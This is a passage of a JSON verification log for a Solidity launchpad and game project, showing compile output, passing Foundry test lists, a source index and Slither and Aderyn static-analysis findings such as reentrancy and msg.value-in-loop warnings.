(gas: 2512552)\n[PASS] test_mintCapsAt200() (gas: 29650799)\n[PASS] test_mintOnePerWalletAndSignupWindow() (gas: 488995)\n[PASS] test_nonGenesisBurnShareGoesToBurnBucket() (gas: 6700450)\n[PASS] test_resolveBatchIsEight() (gas: 4403000)\n[PASS] test_rollRequiresPlayPhasePriceAndImp() (gas: 972961)\n[PASS] test_rollResolvesAfterThreeBlocksWithArbHashes() (gas: 938689)\n[PASS] test_rollResolvesOwnPreviousRoll() (gas: 809622)\n[PASS] test_rollSplitGenesisBurnShareToPot() (gas: 597719)\n[PASS] test_soldOutCurveSendsRollToPot() (gas: 530759)\n[PASS] test_tokenLockedUntilGraduation() (gas: 686721)\n[PASS] test_upkeepFinalizesAndGraduatesDueGame() (gas: 1632797)\nSuite result: ok. 28 passed; 0 failed; 0 skipped; finished in 21.73ms (34.73ms CPU time)\n\nRan 18 tests for test/Pad.t.sol:PadTest\n[PASS] test_bindingsAndOwner() (gas: 120519)\n[PASS] test_bindingsAreOneShot() (gas: 87526)\n[PASS] test_carryPotFundsNextLaunch() (gas: 9589815)\n[PASS] test_closedPadRevertsEverything() (gas: 200975)\n[PASS] test_deployGasUnderBudget() (gas: 19880)\n[PASS] test_deployHookOnlyByPad() (gas: 30933)\n[PASS] test_fundGamesOnlyKing() (gas: 39613)\n[PASS] test_hookRejectsForeignInitialize() (gas: 3779159)\n[PASS] test_launchRevertsUntilGenesisGraduates() (gas: 9714517)\n[PASS] test_launchValidatesStrings() (gas: 8957208)\n[PASS] test_openPadByAnyoneAfter30Days() (gas: 3710473)\n[PASS] test_openPadByOwnerDeploysHookWithExactFlag() (gas: 3741672)\n[PASS] test_openPadOnlyOnce() (gas: 3717556)\n[PASS] test_openPadRejectsBadSalt() (gas: 213298)\n[PASS] test_openPadStrangerBefore30DaysReverts() (gas: 3525834)\n[PASS] test_runtimeSizesAndNoEscapeOpcodes() (gas: 23744481)\n[PASS] test_templatesCannotBeInitialized() (gas: 131382)\n[PASS] test_upkeepForOnlyGames() (gas: 162543)\nSuite result: ok. 18 passed; 0 failed; 0 skipped; finished in 44.83ms (158.96ms CPU time)\n\nRan 3 test suites in 46.07ms (84.00ms CPU time): 56 tests passed, 0 failed, 0 skipped (56 total tests)\n","passed":true},{"durationMs":42,"exitCode":0,"name":"source-index","output":"{\"v\":1,\"entryPoints\":[\"KingOfThePad.claim()\",\"KingOfThePad.distribute(uint256)\",\"KingOfThePad.takeCrown()\",\"PadGame.claim()\",\"PadGame.finalize()\",\"PadGame.fundPot()\",\"PadGame.graduate()\",\"PadGame.initialize(uint256,address,address,bool)\",\"PadGame.mint()\",\"PadGame.poke()\",\"PadGame.resolvePending(uint256)\",\"PadGame.roll()\",\"PadGame.upkeepStep(address)\",\"PadLiquidity.bindKing()\",\"PadLiquidity.burnChunk()\",\"PadLiquidity.claim()\",\"PadLiquidity.deployHook(bytes32)\",\"PadLiquidity.distribute(uint256)\",\"PadLiquidity.fundBurn()\",\"PadLiquidity.graduate(uint256,address,uint256,uint256,uint256)\",\"PadLiquidity.receive()\",\"PadLiquidity.unlockCallback(bytes)\",\"PadToken.approve(address,uint256)\",\"PadToken.initialize(string,string,address,address)\",\"PadToken.transfer(address,uint256)\",\"PadToken.transferFrom(address,address,uint256)\",\"PadToken.unlock()\",\"PvPPad.bindLiquidity()\",\"PvPPad.fundCarry()\",\"PvPPad.fundGames()\",\"PvPPad.launch(string,string,string)\",\"PvPPad.openPad(bytes32)\",\"PvPPad.startGenesis()\",\"PvPPad.upkeep()\",\"PvPPad.upkeepFor(address)\"],\"files\":{\".gitignore\":4,\"README.md\":125,\"docs/AUDIT.md\":80,\"docs/TEST-REPORT.md\":27,\"docs/VERIFY.md\":30,\"foundry.toml\":22,\"launch.json\":37,\"remappings.txt\":1,\"src/KingOfThePad.sol\":113,\"src/PadGame.sol\":464,\"src/PadHook.sol\":24,\"src/PadLiquidity.sol\":320,\"src/PadToken.sol\":86,\"src/PvPPad.sol\":228,\"src/interfaces/Interfaces.sol\":99,\"src/libs/PadLib.sol\":108,\"test/Base.t.sol\":144,\"test/Game.t.sol\":532,\"test/King.t.sol\":182,\"test/Pad.t.sol\":220,\"test/mocks/Mocks.sol\":209},\"excluded\":[\"lib/\",\"node_modules/\"],\"truncated\":false}","passed":true}],"detail":"all checks passed","evaluation":"checks","profile":"foundry","status":"accepted","submissionHash":"11394a5eeef57983614898e20be97bddede09ef37924b3de6095c132b12de45c","verifiedTreeHash":"c3c365b716f2c3011a4b56c9c48a45f924595b50","verifierVersion":"0.1.0+7129bf9d"},{"checks":[{"durationMs":23487,"exitCode":0,"name":"build","output":"Compiling 32 files with Solc 0.8.26\nSolc 0.8.26 finished in 23.41s\nCompiler run successful!\n","passed":true},{"durationMs":159,"exitCode":0,"name":"test","output":"No files changed, compilation skipped\n\nRan 14 tests for test/King.t.sol:KingTest\n[PASS] test_burnChunkBuysPvpToDeadEvery10Minutes() (gas: 1053996)\n[PASS] test_burnChunkStopsAtOnePercentPriceMoveAndKeepsTheRest() (gas: 325006)\n[PASS] test_burnWaitsForPvpGraduation() (gas: 3991258)\n[PASS] test_challengeNeedsHoldAnd110Percent() (gas: 1029140)\n[PASS] test_distributeSendsPoolFeesToKing() (gas: 1097537)\n[PASS] test_distributeWithoutKingEscrows() (gas: 590038)\n[PASS] test_extraFundsLiveGamesByPotSize() (gas: 7932814)\n[PASS] test_firstBidMinimumAndFullSplit() (gas: 552637)\n[PASS] test_launchAfterGenesisPlaysAndGraduatesIntoOwnPool() (gas: 8310529)\n[PASS] test_refundToRejectingKingIsClaimable() (gas: 980862)\n[PASS] test_sandwichOnBurnChunkDoesNotPay() (gas: 1243856)\n[PASS] test_takeCrownUpkeepPaysFinalizerFeeToBidder() (gas: 3467126)\n[PASS] test_unlockCallbackOnlyPoolManager() (gas: 33014)\n[PASS] test_upkeepForAcceptsKingContract() (gas: 272016)\nSuite result: ok. 14 passed; 0 failed; 0 skipped; finished in 47.99ms (22.99ms CPU time)\n\nRan 20 tests for test/Pad.t.sol:PadTest\n[PASS] test_bindingsAndOwner() (gas: 120820)\n[PASS] test_bindingsAreOneShot() (gas: 87724)\n[PASS] test_carryPotFundsNextLaunch() (gas: 9749506)\n[PASS] test_closedPadRevertsEverything() (gas: 203325)\n[PASS] test_deployGasUnderBudget() (gas: 19902)\n[PASS] test_deployHookOnlyByPad() (gas: 30999)\n[PASS] test_failedGenesisIsRestartedByLaunchAndThePadRecovers() (gas: 12036697)\n[PASS] test_fundGamesOnlyKing() (gas: 39635)\n[PASS] test_hookRejectsForeignInitialize() (gas: 3779369)\n[PASS] test_launchRevertsUntilGenesisGraduates() (gas: 9881161)\n[PASS] test_launchValidatesStrings() (gas: 9024083)\n[PASS] test_openPadByAnyoneAfter30Days() (gas: 3710649)\n[PASS] test_openPadByOwnerDeploysHookWithExactFlag() (gas: 3741936)\n[PASS] test_openPadOnlyOnce() (gas: 3717732)\n[PASS] test_openPadRejectsBadSalt() (gas: 213430)\n[PASS] test_openPadStrangerBefore30DaysReverts() (gas: 3525966)\n[PASS] test_restartGenesisRevertsWhileGenesisWaitsOrPlays() (gas: 3997491)\n[PASS] test_runtimeSizesAndNoEscapeOpcodes() (gas: 26965948)\n[PASS] test_templatesCannotBeInitialized() (gas: 131492)\n[PASS] test_upkeepForOnlyGames() (gas: 169213)\nSuite result: ok. 20 passed; 0 failed; 0 skipped; finished in 47.99ms (187.14ms CPU time)\n\nRan 36 tests for test/Game.t.sol:GameTest\n[PASS] test_bellEndsGame() (gas: 970405)\n[PASS] test_claimableWinner() (gas: 1660416)\n[PASS] test_conservationOfEth() (gas: 3594014)\n[PASS] test_curveQuoteMatchesConstantProduct() (gas: 41306)\n[PASS] test_deadImpCannotRingTheBell() (gas: 1262832)\n[PASS] test_deadImpCannotRollWhileOthersPlay() (gas: 1236022)\n[PASS] test_deathAndAllDeadEnd() (gas: 820422)\n[PASS] test_expiredRollMovesTowardZero() (gas: 1331699)\n[PASS] test_failedPushBecomesClaimable() (gas: 866209)\n[PASS] test_finalizePaysTriangularRanksAndBell() (gas: 3229705)\n[PASS] test_finalizeRanksAndPays() (gas: 2886893)\n[PASS] test_finalizeWaitsForPendingRolls() (gas: 852280)\n[PASS] test_finalizeWith200LivingImpsStaysUnderFiveMillionGas() (gas: 85866437)\n[PASS] test_finalizerFeeCapped() (gas: 9387616)\n[PASS] test_finalizerFeeNeverExceedsRollPot() (gas: 860825)\n[PASS] test_firstMintStartsSignup() (gas: 283014)\n[PASS] test_fundPotOnlyPad() (gas: 43700)\n[PASS] test_fundedPotReleasedToFiveLivingCappedAtThreeTimesRollPot() (gas: 12265469)\n[PASS] test_fundedPotReturnsToCarryWhenFewerThanFiveLive() (gas: 2166235)\n[PASS] test_graduateOnlyFromGame() (gas: 71102)\n[PASS] test_graduationCreatesPoolUnlocksTokenBurnsExcess() (gas: 5494213)\n[PASS] test_graduationWithoutEthFailsAndBurns() (gas: 607350)\n[PASS] test_hardEndAt60Minutes() (gas: 2566914)\n[PASS] test_mintCapsAt200() (gas: 30726676)\n[PASS] test_mintOnePerWalletAndSignupWindow() (gas: 499864)\n[PASS] test_nonGenesisBurnShareGoesToBurnBucket() (gas: 6882609)\n[PASS] test_resolveBatchIsEight() (gas: 4524493)\n[PASS] test_rollAfterOwnBellReverts() (gas: 1176953)\n[PASS] test_rollRequiresPlayPhasePriceAndImp() (gas: 990622)\n[PASS] test_rollResolvesAfterThreeBlocksWithArbHashes() (gas: 960339)\n[PASS] test_rollResolvesOwnPreviousRoll() (gas: 827119)\n[PASS] test_rollSplitGenesisBurnShareToPot() (gas: 609829)\n[PASS] test_soldOutCurveSendsRollToPot() (gas: 542715)\n[PASS] test_tieBreakFollowsCommitOrderNotResolutionOrder() (gas: 1837873)\n[PASS] test_tokenLockedUntilGraduation() (gas: 698523)\n[PASS] test_upkeepFinalizesAndGraduatesDueGame() (gas: 1687771)\nSuite result: ok. 36 passed; 0 failed; 0 skipped; finished in 48.04ms (94.50ms CPU time)\n\nRan 3 test suites in 49.17ms (144.03ms CPU time): 70 tests passed, 0 failed, 0 skipped (70 total tests)\n","passed":true},{"durationMs":39,"exitCode":0,"name":"source-index","output":"{\"v\":1,\"entryPoints\":[\"KingOfThePad.claim()\",\"KingOfThePad.distribute(uint256)\",\"KingOfThePad.takeCrown()\",\"PadGame.claim()\",\"PadGame.finalize()\",\"PadGame.fundPot()\",\"PadGame.graduate()\",\"PadGame.initialize(uint256,address,address,bool)\",\"PadGame.mint()\",\"PadGame.poke()\",\"PadGame.resolvePending(uint256)\",\"PadGame.roll()\",\"PadGame.upkeepStep(address)\",\"PadLiquidity.bindKing()\",\"PadLiquidity.burnChunk()\",\"PadLiquidity.claim()\",\"PadLiquidity.deployHook(bytes32)\",\"PadLiquidity.distribute(uint256)\",\"PadLiquidity.fundBurn()\",\"PadLiquidity.graduate(uint256,address,uint256,uint256,uint256)\",\"PadLiquidity.receive()\",\"PadLiquidity.unlockCallback(bytes)\",\"PadToken.approve(address,uint256)\",\"PadToken.initialize(string,string,address,address)\",\"PadToken.transfer(address,uint256)\",\"PadToken.transferFrom(address,address,uint256)\",\"PadToken.unlock()\",\"PvPPad.bindLiquidity()\",\"PvPPad.fundCarry()\",\"PvPPad.fundGames()\",\"PvPPad.launch(string,string,string)\",\"PvPPad.openPad(bytes32)\",\"PvPPad.restartGenesis()\",\"PvPPad.startGenesis()\",\"PvPPad.upkeep()\",\"PvPPad.upkeepFor(address)\"],\"files\":{\".gitignore\":4,\"README.md\":138,\"docs/AUDIT.md\":146,\"docs/TEST-REPORT.md\":30,\"docs/VERIFY.md\":30,\"foundry.toml\":22,\"remappings.txt\":1,\"src/KingOfThePad.sol\":113,\"src/PadGame.sol\":522,\"src/PadHook.sol\":24,\"src/PadLiquidity.sol\":350,\"src/PadToken.sol\":86,\"src/PvPPad.sol\":261,\"src/interfaces/Interfaces.sol\":105,\"src/libs/PadLib.sol\":108,\"test/Base.t.sol\":144,\"test/Game.t.sol\":763,\"test/King.t.sol\":304,\"test/Pad.t.sol\":280,\"test/mocks/Mocks.sol\":248},\"excluded\":[\"lib/\",\"node_modules/\"],\"truncated\":false}","passed":true},{"durationMs":5196,"exitCode":0,"name":"slither","output":"[high/medium] incorrect-exp at src/libs/PadLib.sol:27: PadLib.mulDiv(uint256,uint256,uint256) (src/libs/PadLib.sol#27-60) has bitwise-xor operator ^ instead of the exponentiation operator **: \n[high/medium] msg-value-loop at src/PvPPad.sol:165: PvPPad.fundGames() (src/PvPPad.sol#165-194) use msg.value in a loop: share = msg.value * pots[i_scope_0] / total (src/PvPPad.sol#188)\n[high/medium] msg-value-loop at src/PvPPad.sol:165: PvPPad.fundGames() (src/PvPPad.sol#165-194) use msg.value in a loop: share = msg.value / count (src/PvPPad.sol#188)\n[high/medium] msg-value-loop at src/PvPPad.sol:165: PvPPad.fundGames() (src/PvPPad.sol#165-194) use msg.value in a loop: share = msg.value - sent (src/PvPPad.sol#189)\n[high/medium] reentrancy-eth at src/PadGame.sol:146: Reentrancy in PadGame.roll() (src/PadGame.sol#146-181):\n[high/medium] reentrancy-eth at src/PadGame.sol:207: Reentrancy in PadGame.upkeepStep(address) (src/PadGame.sol#207-218):\n[high/medium] reentrancy-eth at src/PvPPad.sol:89: Reentrancy in PvPPad.restartGenesis() (src/PvPPad.sol#89-96):\n[high/medium] reentrancy-eth at src/KingOfThePad.sol:56: Reentrancy in KingOfThePad.takeCrown() (src/KingOfThePad.sol#56-90):\n[medium/medium] divide-before-multiply at src/libs/PadLib.sol:27: PadLib.mulDiv(uint256,uint256,uint256) (src/libs/PadLib.sol#27-60) performs a multiplication on the result of a division:\n[medium/medium] divide-before-multiply at src/libs/PadLib.sol:27: PadLib.mulDiv(uint256,uint256,uint256) (src/libs/PadLib.sol#27-60) performs a multiplication on the result of a division:\n[medium/medium] divide-before-multiply at src/libs/PadLib.sol:27: PadLib.mulDiv(uint256,uint256,uint256) (src/libs/PadLib.sol#27-60) performs a multiplication on the result of a division:\n[medium/medium] divide-before-multiply at src/libs/PadLib.sol:27: PadLib.mulDiv(uint256,uint256,uint256) (src/libs/PadLib.sol#27-60) performs a multiplication on the result of a division:\n[medium/medium] divide-before-multiply at src/libs/PadLib.sol:27: PadLib.mulDiv(uint256,uint256,uint256) (src/libs/PadLib.sol#27-60) performs a multiplication on the result of a division:\n[medium/medium] divide-before-multiply at src/libs/PadLib.sol:27: PadLib.mulDiv(uint256,uint256,uint256) (src/libs/PadLib.sol#27-60) performs a multiplication on the result of a division:\n[medium/medium] divide-before-multiply at src/libs/PadLib.sol:27: PadLib.mulDiv(uint256,uint256,uint256) (src/libs/PadLib.sol#27-60) performs a multiplication on the result of a division:\n[medium/medium] divide-before-multiply at src/libs/PadLib.sol:27: PadLib.mulDiv(uint256,uint256,uint256) (src/libs/PadLib.sol#27-60) performs a multiplication on the result of a division:\n[medium/medium] divide-before-multiply at src/PadGame.sol:408: PadGame._finalize(address) (src/PadGame.sol#408-465) performs a multiplication on the result of a division:\n[medium/high] incorrect-equality at src/PvPPad.sol:231: PvPPad.genesisGraduated() (src/PvPPad.sol#231-235) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/PadLiquidity.sol:319: PadLiquidity._settleEth(uint256) (src/PadLiquidity.sol#319-322) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/PadGame.sol:408: PadGame._finalize(address) (src/PadGame.sol#408-465) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/PvPPad.sol:237: PvPPad.genesisFailed() (src/PvPPad.sol#237-240) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/PadGame.sol:302: PadGame.isAlive(uint256) (src/PadGame.sol#302-306) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/PadGame.sol:207: PadGame.upkeepStep(address) (src/PadGame.sol#207-218) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/PadGame.sol:127: PadGame.mint() (src/PadGame.sol#127-143) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/PadGame.sol:249: PadGame.hardEnd() (src/PadGame.sol#249-251) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/PadLiquidity.sol:144: PadLiquidity.graduate(uint256,address,uint256,uint256,uint256) (src/PadLiquidity.sol#144-174) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/PadGame.sol:255: PadGame.endTime() (src/PadGame.sol#255-261) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/PadGame.sol:245: PadGame.playStart() (src/PadGame.sol#245-247) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/PadLiquidity.sol:222: PadLiquidity.burnChunk() (src/PadLiquidity.sol#222-235) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/PadGame.sol:127: PadGame.mint() (src/PadGame.sol#127-143) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/PadLiquidity.sol:179: PadLiquidity.distribute(uint256) (src/PadLiquidity.sol#179-200) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/PadLiquidity.sol:324: PadLiquidity._settleToken(address,uint256) (src/PadLiquidity.sol#324-329) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/PadGame.sol:272: PadGame.status() (src/PadGame.sol#272-280) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/PadGame.sol:267: PadGame.bellRang() (src/PadGame.sol#267-269) uses a dangerous strict equality:\n[medium/medium] reentrancy-no-eth at src/PvPPad.sol:209: Reentrancy in PvPPad._upkeep(address) (src/PvPPad.sol#209-224):\n[medium/medium] reentrancy-no-eth at src/PadLiquidity.sol:179: Reentrancy in PadLiquidity.distribute(uint256) (src/PadLiquidity.sol#179-200):\n[medium/medium] reentrancy-no-eth at src/PadLiquidity.sol:144: Reentrancy in PadLiquidity.graduate(uint256,address,uint256,uint256,uint256) (src/PadLiquidity.sol#144-174):\n[medium/medium] reentrancy-no-eth at src/PadLiquidity.sol:202: Reentrancy in PadLiquidity._collect(uint256) (src/PadLiquidity.sol#202-212):\n[medium/medium] reentrancy-no-eth at src/PadLiquidity.sol:222: Reentrancy in PadLiquidity.burnChunk() (src/PadLiquidity.sol#222-235):\n[medium/medium] uninitialized-local at src/PadGame.sol:370: PadGame._resolveRoll(uint256).expired (src/PadGame.sol#370) is a local variable never initialized\n[medium/medium] uninitialized-local at src/PvPPad.sol:186: PvPPad.fundGames().sent (src/PvPPad.sol#186) is a local variable never initialized\n[medium/medium] uninitialized-local at src/PadGame.sol:440: PadGame._finalize(address).paid (src/PadGame.sol#440) is a local variable never initialized\n[medium/medium] uninitialized-local at src/PadGame.sol:449: PadGame._finalize(address).sent (src/PadGame.sol#449) is a local variable never initialized\n[medium/medium] uninitialized-local at src/PadGame.sol:434: PadGame._finalize(address).returned (src/PadGame.sol#434) is a local variable never initialized\n[medium/medium] uninitialized-local at src/PadLiquidity.sol:289: PadLiquidity.unlockCallback(bytes).ethFromSale (src/PadLiquidity.sol#289) is a local variable never initialized\n[medium/medium] uninitialized-local at src/PadLiquidity.sol:183: PadLiquidity.distribute(uint256).total (src/PadLiquidity.sol#183) is a local variable never initialized\n[medium/medium] uninitialized-local at src/PvPPad.sol:171: PvPPad.fundGames().count (src/PvPPad.sol#171) is a local variable never initialized\n[medium/medium] uninitialized-local at src/PadGame.sol:415: PadGame._finalize(address).living (src/PadGame.sol#415) is a local variable never initialized\n[medium/medium] uninitialized-local at src/PadGame.sol:369: PadGame._resolveRoll(uint256).d (src/PadGame.sol#369) is a local variable never initialized\n[medium/medium] uninitialized-local at src/PvPPad.sol:172: PvPPad.fundGames().total (src/PvPPad.sol#172) is a local variable never initialized\n[medium/medium] unused-return at src/PadGame.sol:146: PadGame.roll() (src/PadGame.sol#146-181) ignores return value by rolls.push(Roll(uint32(idx - 1),imp.nonce,uint64(ARB.arbBlockNumber()),false,false,0)) (src/PadGame.sol#169)\n[medium/medium] unused-return at src/PadLiquidity.sol:144: PadLiquidity.graduate(uint256,address,uint256,uint256,uint256) (src/PadLiquidity.sol#144-174) ignores return value by poolManager.initialize(key,sqrtP) (src/PadLiquidity.sol#163)\n[medium/medium] unused-return at src/PadLiquidity.sol:324: PadLiquidity._settleToken(address,uint256) (src/PadLiquidity.sol#324-329) ignores return value by poolManager.settle() (src/PadLiquidity.sol#328)\n[medium/medium] unused-return at src/PadLiquidity.sol:262: PadLiquidity.unlockCallback(bytes) (src/PadLiquidity.sol#262-317) ignores return value by (delta,None) = poolManager.modifyLiquidity(key,ModifyLiquidityParams(MIN_TICK,MAX_TICK,int256(l),0),) (src/PadLiquidity.sol#268-269)\n[medium/medium] unused-return at src/PadLiquidity.sol:319: PadLiquidity._settleEth(uint256) (src/PadLiquidity.sol#319-322) ignores return value by poolManager.settle{value: amount}() (src/PadLiquidity.sol#321)\n[medium/medium] unused-return at src/PadGame.sol:127: PadGame.mint() (src/PadGame.sol#127-143) ignores return value by imps.push(Imp(msg.sender,0,0,0,0,0,0)) (src/PadGame.sol#138)\n[medium/medium] unused-return at src/PadLiquidity.sol:262: PadLiquidity.unlockCallback(bytes) (src/PadLiquidity.sol#262-317) ignores return value by (None,fees) = poolManager.modifyLiquidity(key_scope_0,ModifyLiquidityParams(MIN_TICK,MAX_TICK,0,0),) (src/PadLiquidity.sol#281)\n[low/medium] missing-zero-check at src/PadGame.sol:115: PadGame.initialize(uint256,address,address,bool).token_ (src/PadGame.sol#115) lacks a zero-check on :\n[low/medium] missing-zero-check at src/PadHook.sol:14: PadHook.constructor(address,address).liquidity_ (src/PadHook.sol#14) lacks a zero-check on :\n[low/medium] missing-zero-check at src/PadToken.sol:33: PadToken.initialize(string,string,address,address).game_ (src/PadToken.sol#33) lacks a zero-check on :\n[low/medium] missing-zero-check at src/PadHook.sol:14: PadHook.constructor(address,address).poolManager_ (src/PadHook.sol#14) lacks a zero-check on :\n[low/medium] missing-zero-check at src/PadLiquidity.sol:118: PadLiquidity.deployHook(bytes32).h (src/PadLiquidity.sol#118) lacks a zero-check on :\n[low/medium] missing-zero-check at src/PadGame.sol:115: PadGame.initialize(uint256,address,address,bool).liquidity_ (src/PadGame.sol#115) lacks a zero-check on :\n[low/medium] missing-zero-check at src/PadToken.sol:33: PadToken.initialize(string,string,address,address).liquidity_ (src/PadToken.sol#33) lacks a zero-check on :\n[low/medium] calls-loop at src/PadGame.sol:362: PadGame._resolveRoll(uint256) (src/PadGame.sol#362-406) has external calls inside a loop: h3 = ARB.arbBlockHash(commit + 3) (src/PadGame.sol#378)\n[low/medium] calls-loop at src/PadGame.sol:362: PadGame._resolveRoll(uint256) (src/PadGame.sol#362-406) has external calls inside a loop: h2 = ARB.arbBlockHash(commit + 2) (src/PadGame.sol#377)\n[low/medium] calls-loop at src/PadGame.sol:362: PadGame._resolveRoll(uint256) (src/PadGame.sol#362-406) has external calls inside a loop: cur = ARB.arbBlockNumber() (src/PadGame.sol#365)\n[low/medium] calls-loop at src/PadGame.sol:362: PadGame._resolveRoll(uint256) (src/PadGame.sol#362-406) has external calls inside a loop: h1 = ARB.arbBlockHash(commit + 1) (src/PadGame.sol#376)\n[low/medium] calls-loop at src/PvPPad.sol:165: PvPPad.fundGames() (src/PvPPad.sol#165-194) has external calls inside a loop: IPadGame(games[i_scope_0]).fundPot{value: share}() (src/PvPPad.sol#191)\n[low/medium] calls-loop at src/PadGame.sol:362: PadGame._resolveRoll(uint256) (src/PadGame.sol#362-406) has external calls inside a loop: h3 = ARB.arbBlockHash(commit + 3) (src/PadGame.sol#378)\n[low/medium] calls-loop at src/PadGame.sol:362: PadGame._resolveRoll(uint256) (src/PadGame.sol#362-406) has external calls inside a loop: cur = ARB.arbBlockNumber() (src/PadGame.sol#365)\n[low/medium] calls-loop at src/PadGame.sol:362: PadGame._resolveRoll(uint256) (src/PadGame.sol#362-406) has external calls inside a loop: h1 = ARB.arbBlockHash(commit + 1) (src/PadGame.sol#376)\n[low/medium] calls-loop at src/PadGame.sol:362: PadGame._resolveRoll(uint256) (src/PadGame.sol#362-406) has external calls inside a loop: h3 = ARB.arbBlockHash(commit + 3) (src/PadGame.sol#378)\n[low/medium] calls-loop at src/PadLiquidity.sol:202: PadLiquidity._collect(uint256) (src/PadLiquidity.sol#202-212) has external calls inside a loop: res = poolManager.unlock(abi.encode(ACT_COLLECT,poolKey(p.token),idx)) (src/PadLiquidity.sol#204)\n[low/medium] calls-loop at src/PadLiquidity.sol:202: PadLiquidity._collect(uint256) (src/PadLiquidity.sol#202-212) has external calls inside a loop: p.tokenStash = IPadToken(p.token).balanceOf(address(this)) (src/PadLiquidity.sol#209)\n[low/medium] calls-loop at src/PadGame.sol:362: PadGame._resolveRoll(uint256) (src/PadGame.sol#362-406) has external calls inside a loop: h2 = ARB.arbBlockHash(commit + 2) (src/PadGame.sol#377)\n[low/medium] calls-loop at src/PvPPad.sol:165: PvPPad.fundGames() (src/PvPPad.sol#165-194) has external calls inside a loop: (live,p) = IPadGame(launches[i].game).isLiveForKing() (src/PvPPad.sol#174)\n[low/medium] calls-loop at src/PadGame.sol:362: PadGame._resolveRoll(uint256) (src/PadGame.sol#362-406) has external calls inside a loop: h2 = ARB.arbBlockHash(commit + 2) (src/PadGame.sol#377)\n[low/medium] calls-loop at src/PadGame.sol:362: PadGame._resolveRoll(uint256) (src/PadGame.sol#362-406) has external calls inside a loop: h3 = ARB.arbBlockHash(commit + 3) (src/PadGame.sol#378)\n[low/medium] calls-loop at src/PadGame.sol:362: PadGame._resolveRoll(uint256) (src/PadGame.sol#362-406) has external calls inside a loop: h2 = ARB.arbBlockHash(commit + 2) (src/PadGame.sol#377)\n[low/medium] calls-loop at src/PadGame.sol:362: PadGame._resolveRoll(uint256) (src/PadGame.sol#362-406) has external calls inside a loop: h1 = ARB.arbBlockHash(commit + 1) (src/PadGame.sol#376)\n[low/medium] calls-loop at src/PadGame.sol:362: PadGame._resolveRoll(uint256) (src/PadGame.sol#362-406) has external calls inside a loop: h3 = ARB.arbBlockHash(commit + 3) (src/PadGame.sol#378)\n[low/medium] calls-loop at src/PadGame.sol:362: PadGame._resolveRoll(uint256) (src/PadGame.sol#362-406) has external calls inside a loop: h1 = ARB.arbBlockHash(commit + 1) (src/PadGame.sol#376)\n[low/medium] calls-loop at src/PadGame.sol:362: PadGame._resolveRoll(uint256) (src/PadGame.sol#362-406) has external calls inside a loop: h2 = ARB.arbBlockHash(commit + 2) (src/PadGame.sol#377)\n[low/medium] calls-loop at src/PadGame.sol:362: PadGame._resolveRoll(uint256) (src/PadGame.sol#362-406) has external calls inside a loop: cur = ARB.arbBlockNumber() (src/PadGame.sol#365)\n[low/medium] calls-loop at src/PadGame.sol:362: PadGame._resolveRoll(uint256) (src/PadGame.sol#362-406) has external calls inside a loop: cur = ARB.arbBlockNumber() (src/PadGame.sol#365)\n[low/medium] calls-loop at src/PadGame.sol:362: PadGame._resolveRoll(uint256) (src/PadGame.sol#362-406) has external calls inside a loop: h1 = ARB.arbBlockHash(commit + 1) (src/PadGame.sol#376)\n[low/medium] calls-loop at src/PadGame.sol:362: PadGame._resolveRoll(uint256) (src/PadGame.sol#362-406) has external calls inside a loop: cur = ARB.arbBlockNumber() (src/PadGame.sol#365)\n[low/medium] reentrancy-benign at src/PvPPad.sol:135: Reentrancy in PvPPad._create(string,string,string,address,bool) (src/PvPPad.sol#135-153):\n[low/medium] reentrancy-benign at src/PadGame.sol:146: Reentrancy in PadGame.roll() (src/PadGame.sol#146-181):\n[low/medium] reentrancy-benign at src/PvPPad.sol:209: Reentrancy in PvPPad._upkeep(address) (src/PvPPad.sol#209-224):\n[low/medium] reentrancy-benign at src/PadLiquidity.sol:144: Reentrancy in PadLiquidity.graduate(uint256,address,uint256,uint256,uint256) (src/PadLiquidity.sol#144-174):\n[low/medium] reentrancy-benign at src/PadLiquidity.sol:144: Reentrancy in PadLiquidity.graduate(uint256,address,uint256,uint256,uint256) (src/PadLiquidity.sol#144-174):\n[low/medium] reentrancy-benign at src/PadLiquidity.sol:222: Reentrancy in PadLiquidity.burnChunk() (src/PadL","passed":true},{"durationMs":423,"exitCode":0,"name":"aderyn","output":"[high] abi-encode-packed-hash-collision at src/PadLiquidity.sol:128: `abi.encodePacked()` Hash Collision\n[high] contract-locks-ether at src/PvPPad.sol:9: Contract locks Ether without a withdraw function\n[high] eth-send-unchecked-address at src/KingOfThePad.sol:97: ETH transferred without address checks (3 places)\n[high] incorrect-caret-operator at src/libs/PadLib.sol:51: Incorrect use of caret operator\n[high] msg-value-in-loop at src/PvPPad.sol:187: Loop contains `msg.value`\n[high] reentrancy-state-change at src/KingOfThePad.sol:57: Reentrancy: State change after external call (17 places)\n[low] costly-loop at src/PadGame.sol:351: Costly operations inside loop (3 places)\n[low] large-numeric-literal at src/KingOfThePad.sol:66: Large Numeric Literal (12 places)\n[low] literal-instead-of-constant at src/KingOfThePad.sol:66: Literal Instead of Constant (40 places)\n[low] missing-inheritance at src/KingOfThePad.sol:14: Missing Inheritance (4 places)\n[low] state-change-without-event at src/PvPPad.sol:198: State Change Without Event (2 places)\n[low] state-no-address-check at src/PadGame.sol:119: Address State Variable Set Without Checks (4 places)\n[low] unchecked-return at src/PadGame.sol:213: Unchecked Return (4 places)\n[low] uninitialized-local-variable at src/PadGame.sol:416: Uninitialized Local Variable (4 places)\n[low] unsafe-erc20-operation at src/PadGame.sol:177: Unsafe ERC20 Operation (5 places)\n[low] unused-public-function at src/PadGame.sol:267: Public Function Not Used Internally (3 places)\n[low] unused-state-variable at src/PadLiquidity.sol:68: Unused State Variable","passed":true},{"durationMs":6162,"exitCode":0,"name":"proof 85d8d318f724","output":"Compiling 29 files with Solc 0.8.26\nSolc 0.8.26 finished in 5.61s\nCompiler run successful!\n\nRan 